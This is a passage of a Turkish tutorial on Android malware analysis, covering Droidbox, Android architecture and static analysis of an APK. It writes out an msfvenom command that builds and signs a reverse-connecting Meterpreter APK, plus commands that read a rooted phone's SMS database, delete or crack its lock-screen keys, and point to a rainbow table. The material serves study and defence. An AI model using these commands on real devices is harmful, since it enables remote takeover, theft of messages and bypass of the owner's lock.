Daha	 sonra	 manifest	 dosyasını	 görmek	 isteyip	 istemediğimizi	 bize	 soran	 program,	 yaptığı	 analiz	
sonuçlarını	klasörün	altında	“report.html”	adında	.html	uzantılı	bir	dosya	olarak	bize	sunmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Droidbox	
Droidbox,	 öğrenilmiş	 olan	 diğer	 araçlardan	 farklı	 olarak	 dinamik	 analiz	 yapan	 bir	 araçtır.	 Dinamik	
analiz,	statik	analizden	farklı	olarak	programın	çalışır	durumdaki	davranışlarını	inceleyerek	yapılan	bir	
analiz	çeşididir.		
	
Droidbox	ile:	
	
● Dosya	okuma,	yazma	işlemleri	
● Kritpografik	API	aktiviteleri	
● Ağ	trafiği	
● Ağ	bağlantıları	
● SMS	gönderimleri	
● Telefon	çağrıları		
	
analiz	edilebilir.	
	
Droidbox’ı;	
	
● https://github.com/pjlantz/droidbox	
	
adresinden	indirebilirsiniz.	İndirilmiş	olan	zip	dosyasını	dilediğiniz	dizine	çıkartabilirsiniz.		
	
Öncelikle	Droidbox	programını	kullanabilmek	için	AVD	(Android	Virtual	Device)’ye	ihtiyaç	vardır.	AVD	
aynı	Genymotion	gibi	bir	android	emulatördür.	Android	Studio	içerisinde	yüklü	olarak	gelmektedir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Android	Studio’	yu	çalıştırarak	“Run”	butonuna	bastığımız	zaman	karşımıza	çıkan	ekranda	kurulu	olan	
emulatörler	 listelenmektedir.	 Şimdi	 “Create	 New	 Virtual	 Device”	 butonuna	 tıklayarak	 yeni	 bir	
emulatör	oluşturuyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Nexus	4	seçeneğini	seçerek	“Next”	butonuna	tıklıyoruz.	
	
	
	
Karşımıza	çıkan	ekranda	android	sürümü	olarak	“Jelly	Bean”	tercih	edilmiştir.	Bunu	tercih	etmemizin	
sebebi	ise	Droidbox	programı	için	önerilen	android	versiyonu	olmasıdır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Gelen	 ekranda	 cihazımıza	 ulaşmak	 için	 kullanacağımız	 AVD	 ismi	 belirlenir.	 Görselde	 “BGA”	 olarak	
belirtilmiştir.	
	
Gerekli	 kurulum	 işlemi	 gerçekleştirildikten	 sonra	 Android	 Studio	 kapatılarak	 terminal	 ekranında	
sadece	emulatör	çalıştırılır.		Droidbox/images	klasörü	altındaki	7zip	uzantılı	dosyalar	unpack	edilir.	
	
“~/Android/Sdk/tools”	dizini	altında		“./emulator	-list-avds”	komutu	ile	kurulu	cihazlar	listelenelerek,	
“./emulator	-avd		cihazismi”		komutu	ile	emulator	başlatılır.	Burada	normal	kullanımdan	farklı	olarak		
-system	Droidboxdizini/images/system.img	-ramdisk	Droidboxdizini/images/ramdisk.img	-wipe-data	
-prop	dalvik.vm.execution-mode=int:portable	parametreleri	de	verilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Artık	gerekli	olan	ortamı	hazırladığımıza	göre	“/droidbox-master/droidbox4.1.1”	altında	yer	alan	.sh	
uzantılı	scripti	“./droidbox.sh	apkyolu	analizsüresi”		şeklinde	çalıştırabiliriz.	
	
Uygulamada;	
	
./droidbox.sh	BGA.apk	
	
olarak	süre	limiti	olmadan	çalıştırılmıştır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Ekran	 görüntüsünde	 görüldüğü	 gibi	 bir	 hatayla	 karşılaşılması	 sonucu	 sorunun	 Droidbox	 Python	
kodundan	 kaynaklı	 olduğu	 düşüncesiyle	 hata	 alınan	 yere	 “shell=true”	 kodu	 eklenerek	 hata	
giderilmiştir.	 Unutulmamalıdır	 ki	 böyle	 bir	 hatayla	 karşılaşmıyorsanız	 bu	 adımı	 yapmanıza	 gerek	
yoktur.	
	
Kodu	düzeltmek	için;	
	
- Öncelikle	scripts	dizinine	giderek	droidbox.py	uzantılı	python	kodunu	metin	editörü	kullarak	
açıyoruz.			
	
- 317.	satırda	(ilgili	satırda)	yer	alan	ifadeye	shell=True	parametresini	ekliyoruz.	
	
- Dosyayı	kaydedip	çıkıyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Kaydederek	kapatılan	dosyada	tekrar	droidbox.sh	dosyasının	bulunduğu	bir	alt	dizine	“cd	..”	komutu	
ile	gidilerek	tekrar		“./droidbox.sh	BGA.apk”	komutu	çalıştırılır.	
	
	
	
Başarılı	şekilde	başlatıldığı	görülen	Droidbox	uygulamasında	apk	dinamik	analizi	yapılması	için	analizi	
yapılacak	 olan	 uygulama	 emulator	 yardımıyla	 yüklenerek	 çalıştırılır.	 Bunun	 için	 adb	 komutunu	
kullabileceğiniz	gibi	buna	gerek	duymadan	.apk	uzantılı	dosyayı	emulatöre	sürükle	bırak	yaparak	da	
kurabilirsiniz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama	çalıştırıldıktan	sonra	uygulamanın	çalıştırıldığı	bilgisi	ve	log	kayıtları	Droidbox’ımızın	açık	
olduğu	terminale	aşağıdaki	ekran	görüntüsünde	görüldüğü	gibi	düşmektedir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android	Mimarisi	ve	Güvenlik	Yaklaşımı	
Android,	 Linux	 işletim	 sistemi	 baz	 alınarak	 oluşturulmuş;	 	 televizyon,	 tablet,	 akıllı	 telefonlar	 gibi	
günümüz	 modern	 cihazlarının	 birçoğunu	 domine	 etmiş	 mobil	 işletim	 sistemine	 verilen	 addır.	 Açık	
kaynak	 olması,	 yine	 herkes	 tarafından	 ürün	 konulup	 satın	 alınabilen	 	 bir	 markete	 sahip	 olması,	
geliştirme	ortamında	Java	gibi	popüler	bir	dilin	kullanılması	insanların	kısa	sürede	ilgisini	çekmiştir.	
	
Android	İşletim	Sistemi’nin	başlıca	özellikleri	şunlardır:	
	
● Android	İşletim	Sistemi	tıpkı	IOS	İşletim	Sistemi	gibi	minimum	yetkilerde	çalışma	prensibini	
uygular.	
● Varsayılan	olarak	her	uygulama	yalnızca	çalışması	için	gerekli	olan	bileşenlere				sahiptir.	
● Uygulamalar	birbirine	ait	dosyalara	dosya	sistemi	üzerinden	ulaşamaz.	
● Üçüncü	Parti	Uygulamalar	kullanıcılardan	ekstra	ayrıcalık	talep	eder.	
● Uygulamaların	 yüklenebilmesi	 için	 imzalanmış	 olması,	 güncellemeleri	 alabilmesi	 için	 ise	
orjinal	imzaya	sahip	olması	gerekir.	
	
	
	
● Sistem	kaynaklarına	(internet,	gps,	nfc,	SMS,	galeri	vb)	erişmek	isteyen	uygulamalar	bu	hakkı	
istedikleri	 kaynakları	 kurulum	 esnasında	 talep	 eder.	 Bu	 izinler,	 APK	 (Android	 Application	
Package)	içerisinde	yer	alan	AndroidManifest.xml	dosyası	içerisinde	uygulamanın	geliştirilme	
aşamasında	belirtilmiş	olarak	bulunur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
	
● Kurulan	 her	 uygulama	 kendisine	 ait	 bir	 “id”	 değeri	 ile	 yine	 kendisine	 ait	 “Dalvik	 VM”	 adı	
verilen	sanal	makinelerde	çalışmaktadır.	
● Uygulamalar	Dalvik	VM	içerisinde	Dalvik	Executable	(.dex)	formatında	bulunmaktadır.	
	 	
	 	
	
● Dalvik	VM	yerini	Android	4.4	Kitkat	versiyonu	ile	Android	Run	Time	(ART)	‘a	bırakmaktadır.		
● ART,	Dalvik	VM’ye	göre	uygulamaların	daha	stabil	ve	hızlı	çalışmasını	sağlamaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
● Uygulamalar	 çalıştırıldıktan	 sonra	 her	 seferinde	 bytecodeların	 Dalvik	 VM	 tarafından	
derlenmesine	gerek	kalmadan,	uygulamaları	native	dillerine	yakın	bir	hız	ile	çalıştırmayı	ve	
şarj	süresini	arttırmayı	amaçlayan	bir	teknolojidir.		
● Dalvik	VM’ye	göre	dezavantajı	ise	uygulamaların	kapladığı	alanın	daha	büyük	olmasıdır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
APP	COMPONENTS	
	
Android	 uygulamalar	 “component(bileşen)”	 adı	 verilen	 yapı	 taşlarından	 oluşmaktadır.	 Bu	 yapılar	
sistemin	veya	kullanıcının	uygulamaya	ulaşım	sağladığı	giriş	noktalarıdır.	Android	mimarisinde	derine	
inmeden	önce;	Android	bir	uygulama	hangi	temel	bileşenlerden	oluşmaktadır?,	Bu	bileşenler	hangi	
görevleri	içermektedir?	gibi	sorulara	cevaplar	arayacağız.	
	
4	çeşit	uygulama	bileşeni	bulunmaktadır.	Bunlar;	
	
● Activities	
● Services	
● Broadcast	Receivers	
● Content	Providers	
Activities		
Yapılacak	olan	aktiviteleri,	kullanıcının	oluşturduğu	etkileşimleri	ifade	eder.	Örnek	vermek	gerekirse;	
bir	 mesaj	 uygulamasında	 giriş	 ekranı	 bir	 aktivite,	 mesaj	 gönderme	 alanı	 başka	 bir	 aktivite,	 gelen	
kutusuna	 baktığımız	 alan	 başka	 bir	 aktivite	 alanını	 temsil	 eder.	 Farklı	 sayfalardan	 oluşan	 yapılar	
genelde	farklı	aktiviteleri	temsil	eder.		İleride	açıklayacağımız	“Login	Ekranını	Bypass	Tekniği”	ile	bir	
aktiviteyi	kullanmadan	başka	bir	aktiviteyi	çağıracağız.	
Services	
Hizmet,	arka	planda	bir	uygulamanın	herhangi	bir	nedenden	dolayı	çalışması	için	genel	amaçlı	bir	
giriş	noktasıdır.	Uygulamanın	genelde	uzun	süren	işlemleri	gerçekleştirmek	için,	kullanıcının	önünde	
değil,	 arka	 planda	 işlem	 yapmasıdır.	 Uygulamanın	 servis	 özelliği	 sayesinde	 kullanıcı	 başka	 bir	
uygulama	içerisindeyken	de		servis	özelliğine	sahip	uygulama	arka	planda	görevini	yapmaya	devam	
eder.	Arka	planda	dosya	indirilmesi	ya	da	arka	planda	çalan	bir	müzik	buna	örnek	verilebilir.	
Broadcast	Receivers	
Yayın	 yapma	 mantığıyla	 oluşturulmuş	 olan	 çağrılara	 cevap	 vermek	 amacıyla	 oluşturulmuş	 bir	
bileşendir.	 Bu	 çağrılar	 genellikle	 sistem,	 arada	 başka	 uygulamalar	 tarafından	 yapılmaktadır.	 Veri	
kullanımının	 3G’den	 Wi-Fi’ya	 geçişi,	 şarjın	 azaldığının	 duyurulması,	 bir	 dosyanın	 indiriminin	
tamamlandığının	 duyurusu,	 ekranın	 kapatıldığı	 duyurusu	 gibi	 yayınlar	 sistem	 tarafından	 yapılan	
anonslara	örnek	olarak	verilebilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Content	Providers	
Uygulamaya	 ait	 verilerin	 diğer	 uygulamalarla	 paylaşımını	 sağlama	 amacıyla	 oluşturulmuş	 bir	
bileşendir.	SQLite	database’inde	bulunan	verilerin	başka	uygulamalar	tarafından	sadece	okunmasını	
değil,	content	provider	tarafından	izin	verilmişse	değiştirilebilmesini	de	sağlar.		
Uygulama	 dünyasına	 ait	 güvenlik	 açısından	 çok	 önemli	 bu	 bilgilerden	 sonra,	 her	 zararlı	 yazılım	
analizcisi	 ya	 da	 her	 zafiyet	 araştırmacısı	 gibi	 sistem	 mimarisi	 üzerinde	 derin	 bilgi	 sahibi	 olmalıyız.	
Android	 cihazımızda	 dosyalama	 sistemi	 nasıl	 çalışmaktadır?	 Yetki	 sınıflandırması	 nasıl	 olmaktadır?	
Cihazımızda	root	olmalı	mıyız?	Bir	zararlı,	cihazımıza	bulaştıktan	sonra	neden	root	yetkilerine	sahip	
olmaya	çalışmaktadır?	gibi	sorulara	cevap	verebilmek	için	derin	olmasa	da	temel	düzeyde	bilgi	sahibi	
olmalıyız.	
	
Linux	 dünyasında	 oluşturulan	 her	 yeni	 kullanıcı	 kendisine	 ait	 bir	 User	 ID	 (UID)	 değerine	 sahiptir.	
Android	dünyasında	ise	bu	durum	oluşturulan	her	yeni	uygulama	için	geçerlidir.	Her	uygulama	ayrı	
bir	 kullanıcı	 gibi	 hareket	 eder.	 Bu	 sayede	 izinler	 kontrol	 edilir.	 Kullanıcı	 davranışı	 sergileyen	 her	
uygulama	ancak	kendisine	ait	bölgeye	ulaşabilir.	Bunu	aşabilmek	için	kernel	seviyesinde	exploitlere	
ihtiyaç	vardır.	
	
Zygote,	android	cihazlarda	oluşturulan	ilk	process’e	denir.	Root	yetkilerinde	çalışır.	Android	mimarisi,	
processleri	olabildiğince	düşük	yetkilerde	çalıştırma	üzerine	tasarlanmıştır.	Eğer	zafiyetli	bir	process	
root	 yetkilerinde	 çalışıyorsa,	 cihazın	 kontrolünü	 ele	 geçirebilir.	 Bu	 yüzden	 root	 yetkisini	 cihazdaki	
diğer	 güvenilmeyen	 uygulamalara	 sonradan	 kazandırmak,	 cihazın	 kontrolünü	 kaybetme	 riski	
oluşturmaktadır.		SYSTEM	yetkisi	ise	Root	ile	User	arasında	yer	alır.	Root	kadar	güçlü	haklara	sahip	
değildir.		/system/xbin	dizini	içerisinde	SU	dosyasına	ait	binary	bilgileri	bulunmaktadır	ve	cihazınızı	
root	etmek	için	birçok	yöntem	bulunmaktadır.	
	
android.permission.READ_LOGS	 	 iznine	 sahip	 kötü	 niyetli	 uygulamalar	 rootlu	 cihazlarda	 diğer	
uygulamalara	 ait	 kritik	 log	 bilgilerini	 elde	 edebilmektedir.	 Log	 bilgilerinin	 nasıl	 okunduğu	 konusu	
ileride	değinilecektir.	
			
Telefonumuzu	 neden	 root	 etmememiz	 gerektiği	 konusunda	 kafanızdaki	 soru	 işaretlerine	 cevap	
bulamadıysanız	rootlu	bir	telefonun	kötü	niyetli	birinin	eline	geçtiğinde	neler	yapabildiğine	android	
kilit	mimarisini	inceleyerek	bir	uygulama	ile	beraber	bakalım.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama:	Kilit	Ekranınız	Rootlu	Telefonunuzda	Sizi	Koruyor	Mu?		
- Kurmuş	olduğumuz	Android	Emulatörü	olan	Genymotion’ı	başlatıyoruz.		
- ADB	 kullanımında	 emulatörümüzün	 rootlu	 bir	 telefon	 davranışı	 sergilediğini,	 adb	 ile	 shell	
bağlantısı	 kurduğumuzda	 “whoami”	 sorusunu	 sorduğumuzda	 root	 cevabını	 aldığımızı	
hatırlıyoruz.	
	
	 	
	
- Shell	bağlantısı	kurduğumuz	cihazımızda	/data/data,		/data/system	gibi	klasörlerde	“root”	
haklarının	sağladığı	güç	ile	gezebiliyoruz.	
SMS	Okunması	
- Öncelikli	olarak	telefondaki	SMS’ler	“telephony”	paketi	içerisindeki	“databases”	klasöründe	
tutulmaktadır.	
	
- “/data/data/com.android.providers.telephony/databases”	
	
	 	
	
- Paketler	içerisindeki	shared_prefs	klasörleri	uygulamaya	ait	ilk	girişte	kayıt	edilen,	tekrar	
tekrar	sorulmasını	engelleyen	bilgileri	içermektedir.	
	
- Burayla	işimiz	olmadığı	için	databases	klasörüne	geçiyoruz.	
	
	 	
	
- Android	cihazlar	sqlite3	veritabanını	kullanır.	Bu	bilgiyi	edindiğimize	göre	mmssms.db	
klasörünü	“sqlite3	mmssms.db”	komutu	ile	açıyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
şekildeki	gibi	sqlite	komut	satırı	karşımıza	geldi.	Artık	MySQL’de	yaptığımız	gibi	sqlite3	veritabanına	
ait	sorguları	yazabiliriz.	
	
	
	
“.tables”		komutu	ile	veri	tabanındaki	tablolar	listelenmiş,		“select	*	from	sms;”		komutu	ile	de	SMS	
tablosundaki	bütün	mesajlar	ekrana	bastırılmıştır.	
Pattern	Tespiti	
Sıradaki	 konumuz	 ise	 ne	 kadar	 korunaklı	 bir	 patterne	 sahip	 olursanız	 olun	 bu	 kilidi	 kaldırmak	
“/data/system/gesture.key”	 dosyasını	 “adb	 shell	 rm	 /data/system/gesture.key”	 komutu	 ile	 silmek	
kadar	 kolay	 belirtmektir.	 Durumun	 ciddiyetini	 ortaya	 koyabilme	 adına	 bu	 uygulamamızda	 kilit	
ekranını	kaldırmak	yerine	kilit	patterninin	ne	olduğunu	nasıl	öğreniriz	buna	bakacağız.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Android	 cihazlarda	 kilit	 patterni	 1’den	 9’a	 kadar	 numaralandırılmış	 3x3	 şeklindeki	 9	 adet	 tuşun,	
kullanıcının	belirlediği	kilit	permütasyonu	şeklinde	tutulmaktadır.	
	 	
-------------------	
	 			|	0	|		|	1	|		|	2	|	
	 -------------------	
	 			|	3	|		|	4	|		|	5	|	
	 -------------------	
	 			|	6	|		|	7	|		|	8	|	
	 -------------------	
	
	
Bu	kombinasyon	SHA1	ile	parola	özeti	(hash)	alınmış	şekilde	“/data/system/gesture.key”	dosyasında	
bulunmaktadır.	Bu	işlem	yapılırken	bir	salted	(tuzlama)	değeri	kullanılmadığı	ve		3x3	lük	bir	matrisin	
toplam	 oluşturabileceği	 kilit	 pattern	 sayısı	 belli	 olduğu	 için	 rainbow	 table	 adını	 verdiğimiz	 tüm	
ihtimallerin	bulunduğu	bir	tablo	oluşturulmuştur.		
	
İnternette	birçok	sitede	bulabileceğiniz	bu	tabloyu;		
	
● http://www.android-forensics.com/tools/AndroidGestureSHA1.rar	
	
adresinden	indirebilirsiniz.	
	
Sıradaki	 işlemimiz	 ise	 daha	 önce	 öğrendiğimiz	 ADB	 programını	 kullanarak	 gesture.key	 dosyasını	
cihazdan	 çıkarmak	 olacaktır.	 Tabi	 bu	 işlemden	 önce	 emulatörünüze	 pattern	 kilidi	 koymayı	
unutmayınız,	yoksa	gesture.key	bulunamadı	hatası	verecektir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
	
“od	-t	x1	gesture.key”	komutu	ile	istediğimiz	formatta	değeri	çekebiliyoruz.	-t	paremetresine	“x1”	
getirerek	hexa	formatında	veriyi	almak	istediğimizi	belirtiyoruz.	
	
Elde	ettiğimiz	değeri	internetten	bulduğumuz	gesture.key	rainbow	table	içerisinde	arıyoruz	ve	kilit	
ekranının	35428	olduğu	sonucuna	varıyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
						 	
	
	
İnternette	 otomatik	 kilit	 ekranı	 kırma	 programları	 bulabilirsiniz.	 Biz	 burada	 işin	 teoride	 nasıl	
çalıştığından	bahsettik.	
	
Android	 cihazlarda	 parolaların	 tutulma	 mantığına	 gelirsek,	 pattern	 kilitlerinden	 bir	 miktar	 farklı	
olduğunu	 gözlemleriz.	 Öncelikle	 salt	 değeri	 kullanılmakta	 ve	 parolanın	 soluna	 eklenen	 salt	 değeri	
MD5	ve	SHA1	hashleri	alınıp	birleştirilerek		“password.key”	dosyasında	tutulmaktadır.	Salt	değer	ise	
“locksettings.db”	dosyasında	bulunmaktadır.	
	
	
	
şeklinde	 tutulmaktadır.	 Eğer	 ki	 rootlu	 telefonunuzda	 parolayı	 telefondan	 kaldırmak	 istiyorsanız	
“/data/system”	klasörü	altında,		“rm	*.key”		yazmanız	yeterli	olacaktır.	
root@vbox86p:/data/system	#	rm	*.key	
	
	
Password + Salted Değer Password+ Salted Değer
| |
SHA1 MD5
| |
SHA1SUM + MD5SUM
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Statik	Analiz	
Analiz	süreci	statik,	dinamik	ve	network	analizi	olmak	üzere	3	temel	kısımdan	oluşmaktadır.	Statik	
analiz	olarak	tanımladığımız	kısım,	uygulamanın	çalıştırılmaya	başlanmadan	incelendiği,	uygulamanın	
davranışlarının	ön	plana	alınmadan	analizinin	yapılmaya	çalışıldığı	kısmı	kapsamaktadır.		
	
Bu	 süreç	 uygulamanın	 çalıştırılması	 için	 gerekli	 olan	 manifest	 dosyasındaki	 uygulama	 izinlerinin	
incelenmesinden,	 uygulama	 içerisindeki	 kelimeler	 ve	 kod	 parçalarını	 anlamlandırmaya	 kadar	 olan	
kısmı	içerir.	
	
Statik	analiz	kısmına	başlarken,	statik	analiz	hakkında	ön	bilgi	almamıza	yardımcı	olacak	apk	dosyasını	
oluşturmak	 için	 msfvenom	 kullanıacağız.	 Msfvenom	 payload	 oluşturmak	 için	 kullanılan	 oldukça	
kullanışlı	 bir	 programdır.	 Android	 cihazlara	 etkisini	 göstermesi	 için	 oluşturulacak	 apk	 dosyası,	
msfvenom	ile	şu	komutla	çalıştırılır.	
	
sudo	 msfvenom	 -p	 android/meterpreter/reverse_http	 LHOST=192.168.1.55	 LPORT=2727	 -o	
meterpreter.apk	
	
LHOST:	Bu	parametre	bağlantı	kurulabilmesi	için	gerekli	olan	IP	adresini	temsil	eder.		
	
LPORT:	 Bu	 parametre	 yine	 bağlantı	 kurulabilmesi	 için	 açmak	 istediğiniz	 portu	 temsil	 eder.	
“android/meterpreter/reverse_http”:	Bu	parametre	ise	bir	payload	çeşididir.			
	
Pentest	kısmından	çok	analiz	kısmının	açıklanmaya	çalışıldığı	bu	dokümentasyonda	zaten	statik	analiz	
kısmında	 çalıştırılmayacak	 olan	 bu	 kısım	 daha	 fazla	 ayrıntıya	 girilmeden	 uygulama	 kısmına	
geçilecektir.			
	
	
	
Görüldüğü	üzere	“meterpreter.apk”	dosyası	android	cihazlar	için	çalıştırılabilir	bir	uygulama	haline	
bürünmüş	gibi	gözükmektedir.	Şimdi	emulatörümüze	sürükle	bırak	yaparak	kurmayı	deneyeceğiz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Şekilde	görüldüğü	gibi	bir	hata	ile	karşılaştık.	İlgili	hatada	bize	apk	uygulamasının	bir	sertifikasının	
olmadığını,	yani	imzalanmadığını	söylüyor.	Android	Mimarisi	konu	başlığında	anlatıldığı	üzere	bir	apk	
dosyasının	kurulabilmesi	için	imzalanmış	olması	gerekiyor	gerekiyor.		
Bunun	 için	 önce	 imza	 oluşturup	 daha	 sonra	 bu	 imza	 ile	 oluşturulan	 meterpreter.apk	 dosyası	
imzalanmalıdır.	
	
İmza	dosyası	oluşturmak	için;	
	
keytool	-genkey	-v	-keystore	my-release-key.keystore	-alias	alias_name	-keyalg	RSA	-keysize	2048	-
validity	10000	
	
komutu	kullanılır.		
	
Oluşturulacak	 key	 dosyası	 için	 bir	 parola	 belirlememizi	 ve	 dosya	 bilgileri	 için	 bize	 ait	 bilgiler	
sormaktadır.	İstenilen	cevaplar	verildikten	sonra	my-release-key.keystore	dosyası	oluşur.	
	
Bu	imza	dosyası	ile	apk	uzantılı	dosyayı	imzalamak	için	ise;	
	
jarsigner	 -verbose	 -sigalg	 SHA1withRSA	 -digestalg	 SHA1	 -keystore	 my-release-key.keystore	
meterpreter.apk	alias_name	
	
komutu	kullanılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Şimdi	başarılı	bir	şekilde	imzalanan	apk	dosyasını	tekrar	emulatörümüze	atmayı	deneyeceğiz.	
	
									 	
	
	
Şekilde	 görüldüğü	 gibi	 uygulamamız	 “MainActivity”	 ismiyle	 kurulmuş	 bulunmaktadır.	 Çalıştırıldığı	
takdirde	kötü	niyetli	kişinin	kurbanı	olmuş,	meterpreter	oturumu	ile	telefonunun	uzaktan	kontrolünü	
karşı	tarafa	vermiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şimdi	 kurulumu	 tamamlanan	 program	 çalıştırılmadan,	 bu	 bölümde	 üzerinde	 durulacak	 olan	 statik	
analiz	kısmıyla	ilgilenilecektir.	
	
Analiz	 işlemine	 başlanırken	 ilk	 olarak	 “manifest”	 dosyasındaki	 uygulamanın	 sahip	 olduğu	 izinlere	
bakılarak	uygulama	için	gerekli	olan	izinlerden	fazlası	isteniliyor	mu	sorusu	için	analiz	yapılır.	
	
Daha	önce	öğrenilmiş	olan	“apktool”	programı	ile	“apk”	dosyası	decompiler	edilir.	
							
	
	
	
	
“AndroidManifest.xml”	dosyası	herhangi	bir	metin	editörü	kullanılarak	açılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Şekildeki	bilgiler	ile	uygulamamızın;		
	
- İnternet	erişimi	
- Wi-Fi	ağına	ulaşım	hakkı	
- Network	bilgisine	ulaşım	hakkı	
- Telefon	görüşmelerini	okuma	hakkı	
- Mesaj	yollama	hakkı	
- Gelen	kısa	mesajları	otomatik	cevaplama	hakkı,		
- Ses	kaydı	yapma	hakkı	
- Telefon	araması	yapma	hakkı	
- Rehberi	okuma	hakkı	
- Rehbere	yeni	kişi	yazma	hakkı
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Ayarları	değiştirme	hakkı	
- SD	karta	dosya	yazma	hakkı	
- Duvar	kağıdını	değiştirme	hakkı	
- Kamerayı	açma	hakkı	
- Mikrofonu	açma	hakkı		
	
gibi	yetkilere	izin	istediği	görülmektedir.	Fiziksel	olarak	telefonu	birine	vermekten	farksız	olan	birçok	
izni	 onaylayarak	 sanal	 ortamda	 bir	 başkasına	 vermeye	 rıza	 gösteriyor	 ve	 uygulamanın	 kötü	 niyetli	
olduğundan	şüphelenmiyor	musunuz?		
	
Ayrıca	 “manifest”	 dosyası	 içerisindeki	 bilgilerden	 uygulamanın	 başladığı	 activity	 ismi	 ve	 uygulama	
ismi	analiz	edilebilir.	
	
Sıradaki	 işlemde	 apktool	 ile	 decompiler	 edilmiş	 olan	 uygulamamızın	 assembly	 kod	 karşılığı	 olan	
“smali”	kodları	incelenir.	Smali	dosyaları	“/meterpreter/smali/com/metasploit/stage/”	dizininde	yer	
almaktadır.	
	
	
	
Yukarıdaki	ekran	görüntüsünde	smali	dosyalarına	dönüşmüş	class	isimlerini	gözlemleyebiliyoruz.	İsmi	
payload	 ile	 başlayan	 class	 ismi	 bile	 uygulama	 hakkında	 kötü	 düşünceler	 beslememize	 neden	
olabilmektedir.	
	
Buradaki	R.class	dosyaları	ile	bir	işimiz	olmayacaktır.	Çünkü	o	dosyalar	Android	Studio’da	uygulama	
geliştirirken	string	değerlerinin	tutulduğu	yapılardır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
“MainBroadcast	Receiver”	dosyası	ise	android	mimarisinde	bahsettiğimiz	“App	Components”	başlığı	
altında	geçen		Activities,	Services,	Content	Providers’	lar	gibi	temel	yapılardan	biri	olup,	uygulamanın	
bir	broadcast	yayınına	receive	yapmasını	sağlayan	receiver	classını	oluşturmaktadır.	
	
Yorumlanması	smali	kod	yazmayı	ve	okumayı	bilmeyen	kişiler	için	çok	zor	olan	smali	kodlarına	göz	
gezdirilir.	
	
	
	
Kodunun	anlaşılması	için	oldukça	zor	olan	smali	dosyaları	içerisindeki;	
	
- currentDir	
- currentTime	
- payloadStart		
	
gibi	 stringlerin	 varlığını	 gözlemliyoruz	 ve	 dosya	 statik	 analizine	 kaldığımız	 yerden	 daha	 önce	
öğrendiğimiz	“Androguard”	programı	ile	devam	ediyoruz.	
	
- Uygulamamızı	“androlyze	-s”		komutu	ile	başlatabiliriz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Paket	ismi,	main	activity	ismi,	class	isimlerinin	listelendiği	programda	apk	içerisindeki	metot	
isimlerini	listeleyerek	inceleyebiliriz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
- Metot	isimlerinde	ulaşılamayan,	apk	dosyasında	geçen	stringleri	“d.get_strings()”	komutu	ile	
listeleyerek	inceleyebiliriz.	
	 	
	 	
	
	
- Uzayan	string	listesinde	10.38.67.2	IP	adresi	dikkat	çekmektedir.		
	
- Uygulamamızı	oluştururken	meterpreter	oluşturmak	amacıyla	girmiş	olduğumuz	IP	adresiyle	
aynı	olan	bu	değer	analizde	fark	edilmektedir.	
	
- Sıradaki	işlemde	smali	kodlarından	yorumlanmakta	güçlük	çekilen	uygulamanın	Java	kodları	
görülecektir.	
	
- Daha	 önceden	 açıklanmış	 olan	 “Dex2Jar”	 programı	 kullanılarak,	 “./d2j-dex2jar.sh	
meterpreter.apk”	 komutuyla	 apk	 içerisindeki	 .dex	 uzantılı	 dosyaları	 .jar	 uzantılı	 dosyalara	
çevirilecektir.	
	
- “java	 -jar	 jd-gui-1.4.0.jar”	 komutu	 ile	 başlatılan	 JD-GUI	 programına	 .jar	 uzantılı	 dosya	
sürükle	bırak	yapılarak	.jar	dosyaları	java	uzantılı	classlara	decompiler	edilecektir.	
	
- Ardından	kodlar	incelenebilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
	
	
- “Manifest”	dosyası	ve	Androguard	programından	yapılan	gözlemleme	ile	başlangıç	activitysi	
olan	 MainActivity.class	 incelendiğinde	 	 burada	 mainactivity	 programında	 bir	 view	 yani	
uygulama	için	arayüz	oluşturulmadığı	gözlemlenir.		
	
